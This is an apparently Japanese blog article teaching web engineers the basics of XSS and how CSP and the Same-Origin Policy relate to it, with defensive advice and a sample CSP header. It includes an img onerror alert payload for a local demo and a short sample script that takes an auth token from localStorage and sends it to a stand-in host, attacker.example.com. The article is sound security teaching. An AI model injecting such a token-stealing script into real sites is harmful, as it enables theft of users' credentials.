はじめに
Webエンジニアが実感を持って学べるように、XSSの基本を筆者の主観でまとめました。
脆弱性は、応用や細かい攻撃手法は無数にあります。まず必要なのは原理原則の理解ではないでしょうか。
加えて「CSP」や「SOP」などの関連する技術とXSSの関係性を把握することではないでしょうか。
「サッと読めて本質と関連技術を理解できる」
読者にとってそんな記事になれば本望です。
1. XSSの原理
XSSの本質は、「ユーザーが入力した悪意あるコード(HTML/JavaScript)が、そのままブラウザで実行されてしまうこと」です。
例1:意図しないスクリプトの実行
では実際にXSSを体感してみましょう。
「入力値をそのまま画面のHTMLに反映(innerHTML 等を利用)する」HTMLのファイルを作成しましょう。
必要なのは入力フォームと、送信ボタンだけです。送信ボタンを押下すると、入力フォームに入力した内容が画面に表示されるだけのものです。
ファイルを作成したら、そのままブラウザで開きましょう。サーバーで実行する必要もありません。
では以下の手順でXSSを体感しましょう。
- 入力フォームに
<img src="x" onerror="alert('XSS成功')">を入力して送信ボタンを押す。 - 結果: 画像の読み込み失敗をトリガーに、ブラウザがJavaScriptを強制実行しアラートが表示される。
これで、意図しないスクリプトが実行されましたね。これがXSSの基本です。
例2:サイト横断(クロスサイト)のデータ漏洩
上記で「意図しないスクリプトが実行される」例を見ました。以下のようにすると、外部へ機密情報を送信することが可能になりますね。これがXSSです。
- 攻撃者が受信用の外部サーバー(例: https://attacker.example.com/log) を用意する。
- 被害者のブラウザ上で、LocalStorageやCookieから認証トークン等の機密情報を盗み出すスクリプトを実行させる。
- 盗んだ情報が攻撃者のサーバーへ送信される(正規サイトから攻撃者サイトへ、ドメインを越えて情報が流出する)。
// 攻撃スクリプトのイメージ
const token = localStorage.getItem("token");
new Image().src = `https://attacker.example.com/log?leak=${encodeURIComponent(token)}`;
XSSの対策
- エスケープ
- 画面出力時にHTML特殊文字(
<,>,&,",')を文字参照(<など)へ変換する。これにより、スクリプトはスクリプトでなくなり、実行されません。
- 画面出力時にHTML特殊文字(
- フレームワークの利用
- React等のモダンなフレームワークにはXSS対策が組み込まれています。昨今の開発者がやるべきことはそれを「正しく使用すること」だけです。
- トークンなど重要な情報を HttpOnly属性Cookieで保存する。
- この属性のついたCookieはJSでは触れません。ただし、Bearer Headerに認証情報を載せる場合は、認証情報をJSで扱える必要がありますからこの対策は使えません(ケースバイケースです)。
2. CSP(Content Security Policy)とXSS
CSPはブラウザが読み込むリソース元や、通信先のドメインをホワイトリスト形式で制限する仕組みです。
上述したエスケープ処理に加え、CSPを適切に設定することでXSSに対して多層防御を構築できます。
昨今ではGTMなどのタグマネージャー経由で外部スクリプトを読み込んだりデータ送信を行ったりする機会が多いですが、ここでも意図しない外部通信やスクリプトの実行を抑止するセキュリティ機構として非常に重要です。
CSPができること
- 許可していない外部への通信を遮断する。
- 許可していないスクリプトを実行させない。
CSPの使い方
主にサーバー側のHTTPレスポンスヘッダーとして設定します。
- CSPの設定例
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self';
-
default-src 'self': 画像やCSSなど、リソースの取得元を「同一オリジン」のみに限定する。 -
script-src 'self': 「同一オリジン」から配信されたJSファイルのみ実行を許可する。インラインスクリプトや eval() は実行不可となるため、HTMLに紛れ込んだ不正スクリプトがブロックされる。 -
connect-src 'self':fetch()やXMLHttpRequestによる通信先を「同一オリジン」のみに限定する。不正スクリプトがトークンを攻撃者サーバーへ送信しようとしても、ブラウザが通信をブロックする。
3. Same-Origin Policy(同一オリジンポリシー)とXSS
ブラウザにはSOP(同一オリジンポリシー)があります。APIサーバーから情報を取得するときにみなさんも引っかかった経験があるのではないでしょうか。
ここで疑問になりませんか? 「同一オリジンの制約があるのに、なぜXSSでは外部に情報を流出できてしまうのか?」と。
SOPの役割(外部からの情報読み取りの制限)
SOPは、異なるオリジン(外部サイト)から情報を読み取ることに対する制限 です。
これにより、ユーザーが悪意ある別サイト(evil.com)を開いたとき、そのサイト内のJSが、別タブでログインしている、あなたのサービス(my-service.com)のAPIを勝手に叩いてレスポンスを読み取ったり、画面内容を覗き見たりすることができなくなります。
業務上、外部サイトからのAPI利用を明示的に許可したい場合がありますね。そういったケースでは、APIサーバー側のレスポンスヘッダー(Access-Control-Allow-Origin など)で、そのAPIのデータを使用できるドメインを指定します(この仕組みを CORS と呼びます)。
SOPがあってもXSSで漏洩する理由
もうわかりましたね。SOPは「外部サイトから情報を取得することに対する制限」であり、外部へ情報を流出することを防ぐ機構ではないのです。
SOPは、外部にあるスクリプトがダウンロードされ、実行されることを防ぐことはできます。しかしXSSによって注入されたコードは、SOPの制限を受けないのです。
4. 最後に
XSS対策はもはやフレームワークに組み込まれており、WEBアプリの開発現場においてそれを実装し、学ぶ機会は見かけません。
しかしWEBアプリを開発し、世界中に発信するサービスとして運用していると、要所においてXSSの知識が必要になってきます。
やはり「XSS」、そして「CSRF」「SQLインジェクション」はWEBアプリの基本なのだと思います。
今後、CSRFやSQLインジェクションの記事を書きたいと思います。